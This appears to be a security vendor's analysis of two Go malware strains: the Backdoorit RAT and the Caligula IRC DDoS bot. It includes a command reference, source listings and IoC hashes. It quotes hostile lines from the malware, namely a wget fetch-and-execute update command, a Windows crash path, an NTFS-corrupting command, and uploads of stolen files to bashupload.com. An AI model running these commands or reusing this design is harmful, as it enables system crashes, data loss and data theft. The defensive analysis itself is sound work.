Go malware on the rise


The Go programming language is becoming more and more popular. One of the reasons being that Go programs can be compiled for multiple operating systems and architectures in a single binary self containing all needed dependencies. Based on these properties, and as we expected, we observed an increase in the number of malware and gray tools written in Go programming language in the last months. We are discovering new samples weekly.

For instance, in late April, we discovered two new strains in our internal honeypots, namely Backdoorit and Caligula, both of which were at that time undetected on VT.

Both of these malware strains are multiplatform bots compiled for many different processor architectures and written in the Go programming language.

Analyzing Backdoorit

Backdoorit (version 1.1.51562578125) is a multiplatform RAT written in Go programming language and supporting both Windows and Linux/Unix operating systems. In many places in the code it’s also referred to as backd00rit.

Based on the close inspection of the analyse-full command of Backdoorit, we concluded that the main purpose of this malware is stealing Minecraft related files, Visual Studio and Intellij projects.

But the malware is not limited just to those files. Some commands (upload, basharchive, bashupload and so on) allow it to steal arbitrary files and information, install other malware in the system or run arbitrary commands (run, run-binary, etc.) and take screenshots of the user activity (screenshot, ssfile and so on).

Evidence indicates that the Backdoorit developer is not a native English speaker, further pointing to a possible Russian threat actor. The comments and strings in the code are mostly written in English but often grammatically incorrect. For instance, we found the message: “An confirmation required, run ”. We also discovered some isolated strings written in the Russian language.

In addition to the aforementioned strings we also observed that, amongst others, the VimeWorld files (a Russian project that offers Minecraft servers) are being targeted. This further leads us to believe the Russian origin of the threat actor behind this malware.

After running Backdoorit the RAT retrieves some basic environment information such as the current operating system and the name of the user. It then continuously tries to connect to a C&C server to give the attacker access to a shell.

The malware logs all executed operations and taken steps via a set of backd00r1t_logging_* functions. Those logs can be uploaded to the server of the attacker either by using uploadlogs and uploadlogs-file shell commands or automatically in case a Go panic exception is raised.

In such case backd00r1t_backdoor_handlePanic handles the exception and performs the following actions:

  1. It first sends the logs to the endpoint /api/logs of the C&C server with a JSON request structure as defined in the function: backd00r1t_api_SendLogs.
  2. It closes the connection with the C&C server.
  3. It attempts to reconnect again.

The mentioned handler helps to keep the bot connected and also allows the attacker to remotely follow the execution trace.

Once the connection to C&C succeeds, the attacker gets the context information listed below. The function backd00r1t_backdoor_SocketConnectionHandle is responsible for handling all the commands supported by this RAT and first calls to backd00r1t_backdoor_printMotd for displaying such information:

  • Last connected time
  • The Backdoorit version
  • Process
  • Active connections
  • User name
  • User home
  • User id
  • Login
  • Gid
  • Process path
  • Modules Autostart state

The shell allows the threat actor to remotely execute arbitrary commands. The first command that is likely to be run is the analyse-full command because it generates a report.txt file containing the Desktop, Documents, Downloads, Minecraft and VimeWorld folder file trees and uploads the mentioned report and both Visual Studio and IntelliJ projects folders contents, to Bashupload, a web service allowing to upload files from command line with a storage limitation of 50GB.

As mentioned earlier, if the attacker chooses to do so, he/she will be also able to implant other malware in the system. The threat actor can use the commands: run-binary (a command for downloading and executing a script), shell (a command allowing to spawn the operating system shell and execute arbitrary commands) or other available commands.

The malware also contains a sort of a “kill-switch” that can be triggered by the exploit command, but in this case this does not simply remove the malware itself, but has the ability to crash the Windows operating system by exploiting CVE-2021-24098 and also corrupt the NTFS of the hard disk via CVE-2021-28312 on vulnerable systems. This leads to complete loss of file information (including size, time and date stamps, permissions and data content) as well as, of course, removing evidence of the infection.

There are many more commands implemented in the shell that you can check at the corresponding section of the Appendix. As you will notice, the malware incorporates a checkupdates command so we may expect to see new versions of Backdoorit soon.

Analyzing Caligula

Caligula is a new IRC multiplatform malicious bot that allows to perform DDoS attacks.

The malware was written in Go programming language and distributed in ELF files targeting several different processor architectures:

  • Intel 80386 32-bit
  • ARM 32-bit
  • PowerPC 64-bit
  • AMD 64-bit

It currently supports Linux and Windows platforms via WSL and uses the function os_user_Current for determining the underlying operating system.

Caligula is based on the Hellabot open source project, an easily modifiable event based IRC bot with the ability to be updated without losing connection to the server.

Of course, more code reuse was found in the Caligula coming from open source projects (log15, fd, go-shellwords, go-isatty and go-colorable) but the core functionality is based on Hellabot.

All the samples that we hunted in the wild are prepared to connect to the same hardcoded IRC channel by using the following data:

  • Host:
  • Channel: #caligula
  • Username: It is composed of the platform, current user and a pseudo-random number.
    • e.g. [LINUX]kali-11066

As shown in the following screenshot, the bot is prepared for joining the Caligula IRC Net v1.0.0 botnet.

Caligula IRC Net v1.0.0 is a botnet ready for flooding. The bots offers to the attacker the following attacks:

Attack Description
udp udp flood with limited options.
http http flood with no options at all.
syn syn flood.
handshake handshake flood.
tcp tcp flood.

For more information on how Caligula bot source code is organized, check the source code file listing available in the appendix. It can be useful for getting a high level perspective on the malware design, notice that new attack methods can be easily added to it and identify the Caligula malware family.


Due to its native multiplatform support and relative ease of development, the use of Go programming language for malicious purposes is currently growing, especially in malware targeting Unix/Linux operating systems.

Naturally with the growing interest and community around the Go programming language, some of the malicious tools are being open sourced on Github and resued by different threat actors.

In this instance, we were one of the firsts in hunting and detecting Backdoorit and Caligula.


Backdoorit shell commands reference

Command syntax Description
shell This command spawns a shell. For Windows platforms, if available, it executes Powershell. Otherwise it executes the Command prompt. For the rest of the platforms, it spawns a Bash Unix shell.
help Shows the help containing the available commands but also some status information.
toggle-path Enables or disables showing the toggle path.
bell Enables or disables the bell sound.
clear-fallback Clears the screen.
background-logs Asks to the attacker for the buffer size and the maximum buffer size in order to store the logs in background.
backdoor Shows the RAT information: BuiltCodenameVersionReconnect time
clear-code Resets any style property of the font by using the ANSI Escape Codes : \x1B[0J
clear-color Clears the shell coloring.
colors / color Enables or Disables the shell coloring.
un-export [env][fir][key][url] Removes an environment variable.
export Adds an environment variable.
mkdir [path] Creates a folder for the specified path.
exit Exits.
wcd Prints the working directory.
motd Prints the following information: Last connected time. The Backdoorit version. ProcessActiveConnectionsUser nameUser homeUser idLoginGidProcess path The modules Autostart state.
get-asset [asset] Access to an asset (those are identified by string and accessed via GO language mapaccess1_faststr function)
extract-asset [asset] (path) Extracts an asset to the specified path.
safe Allows to disable safe mode
open-file Open file.
open Open url in browser.
list-windows-disks List disks (command available for Windows systems)
cp [target] [dist] Copy file.
rm Removes a file or a folder and all its content.
If the attacker is trying to remove the entire current folder, the agent asks her/him for preventing the human error.
cd Changes the working directory.
ls It shows the modification date, Filename and Size.
cat [file][path] Read file.
checkupdates It asks for the version to the endpoint: /api/version
If there is a new version available for the appropriate operating system, then it downloads it by using wget:
wget -O app –user nnstd –password access && chmod +x app && ((./app) &)
exploit [exploit] […args] Runs an exploit. It currently supports the following exploits: windows/crash/uncIt crashes Windows by accessing the file:
\\.\globalroot\device\condrv\kernelconnectwindows/destroy/i30It corrupts the drive by executing the following command: cd C:\\:$i30:$bitmap
autostart It persists the payload by modifying the following files: .bashrc .profile .zshrc .bash_profile .config/fish/config.fish This command enables the internal flag: backd00r1t_modules_autostart_state
autostart-update Update autostart.
exec [cmd] […args] Executes a command with the specified arguments.
sysinfo {detailed} Shows the following system information:
WorkingDirectory, Command line, User, Terminal
neofetch / screenfetch Shows the following system information: CPU Info: Family, Vendor, PhysicalID. CoresHost InfoUptime, OS, Platform, Platform Family, Platform Version, Host ID, Kernel Arch, Kernel Version, Network Interfaces Info: HW Addr, Flags, Index
Screenshot / ssfile / screen It creates a screenshot, and stores it in a PNG file located in one of the following directories. It depends on the platform: Windows: C:\Users\{username}\AppData\Local\Temp Linux: /tmp/ Finally, the screenshot is uploaded and, after that, it removes the file from disk.
archiveapi It creates a file following the format:
tmp-archive-{current_date}.gdfgdgd For Windows platforms: C:\\Users\\{username}\\AppData\\Local\\Temp For Linux platforms: /tmp/ The function removes the previous file in case a file with the same name does exist. Then it sends the file and after that, removes the file
Create-archive [output] [target] Create archive with files from target in output.
Uploadapi [file][path] Automatically uploads the file specified to predefined servers.
uploadlogs-file Uses the /api/upload API endpoint for uploading the file agent.log
uploadlogs It sends the logs to the API endpoint /api/logs in JSON format.
upload [url] [file] Upload file to Server (HTTP).
bashupload [file][path] Automatically upload file to https://bashupload.com/
bashdownload Access the file in https://bashupload.com/ with the parameter: ?download=1
bashupload-parse [file][path] Automatically upload file to https://bashupload.com/ and get direct link
basharchive [target] Create archive and upload it to bashupload.com:
download Downloads a file.
bashdownload [url] Downloads the file by querying the url: https://bashupload.com/
With the parameter: ?download=1
run [url] Download script and run it.
run-binary Download script, and run it. Currently, it only supports Windows platforms. It downloads the run-script.ps1 file to a temporary folder and executes it.
cls Clear screen.
$STOP This command stops Backdoorit.
analyse-full It creates a report report.txt containing:{USERHOME}\source\repos{USERHOME}\IdeaProjectsDesktop file tree Documents file tree Downloads file tree AppData\Roaming\.minecraft file tree AppData\Roaming\.vimeworld file tree. It uploads the files in Visual Studio repos folder and IntelliJ projects folder via backd00r1t_analyze_uploadDirectorybut also a report of the files in the main computer folders via backd00r1t_analyze_uploadFile

Backdoorit bot source code listing

  • H:/backdoorIt//injected/backdoor/BackdoorEnvironment.go
  • H:/backdoorIt//injected/backdoor/BackgroundTasks.go
  • H:/backdoorIt//injected/backdoor/CommandHelpers.go
  • H:/backdoorIt//injected/backdoor/ConnectionHandler.go
  • H:/backdoorIt//injected/files/Assets.go
  • H:/backdoorIt//injected/api/Configuration.go
  • H:/backdoorIt//injected/backdoor/ExecHandlers.go
  • H:/backdoorIt//injected/backdoor/ExecHandlers__linux.go
  • H:/backdoorIt//injected/backdoor/main.go
  • H:/backdoorIt//injected/launcher/main.go

Caligula bot source code listing

  • /root/irc/bot/attack/attack.go
  • /root/irc/bot/attack/methods.go
  • /root/irc/bot/attack/parser.go
  • /root/irc/bot/attack/flags.go
  • /root/irc/bot/network/header.go
  • /root/irc/bot/network/ip.go
  • /root/irc/bot/network/tcp.go
  • /root/irc/bot/routine/timedRoutine.go
  • /root/irc/bot/attack/methods/httpflood.go
  • /root/irc/bot/attack/methods/sshflood.go
  • /root/irc/bot/attack/methods/synflood.go
  • /root/irc/bot/attack/methods/tcpflood.go
  • /root/irc/bot/attack/methods/udpflood.go
  • /root/irc/bot/handle.go
  • /root/irc/bot/singleInstance/singleinstance.go
  • /root/irc/bot.go



  • 34366a8dab6672a6a93a56af7e27722adc9581a7066f9385cd8fd0feae64d4b0


  • 147aac7a9e7acfd91edc7f09dc087d1cd3f19c4f4d236d9717a8ef43ab1fe6b6
  • 1945fb3e2ed482c5233f11e67ad5a7590b6ad47d29c03fa53a06beb0d910a1a0
  • 4a1bb0a3a83f56b85f5eece21e96c509282fec20abe2da1b6dd24409ec6d5c4d
  • 6cfe724eb1b1ee1f89c433743a82d521a9de87ffce922099d5b033d5bfadf606
  • 71b2c5a263131fcf15557785e7897539b5bbabcbe01f0af9e999b39aad616731
  • 99d523668c1116904c2795e146b2c3be6ae9db67e076646059baa13eeb6e8e9b
  • fe7369b6caf4fc755cad2b515d66caa99ff222c893a2ee8c8e565121945d7a9c
  • 97195b683fb1f6f9cfb6443fbedb666b4a74e17ca79bd5e66e5b4e75e609fd22
  • edcfdc1aa30a94f6e12ccf3e3d1be656e0ec216c1e852621bc11b1e216b9e001

The complete Backdoorit and Caligula IoCs are in our IoC repository.

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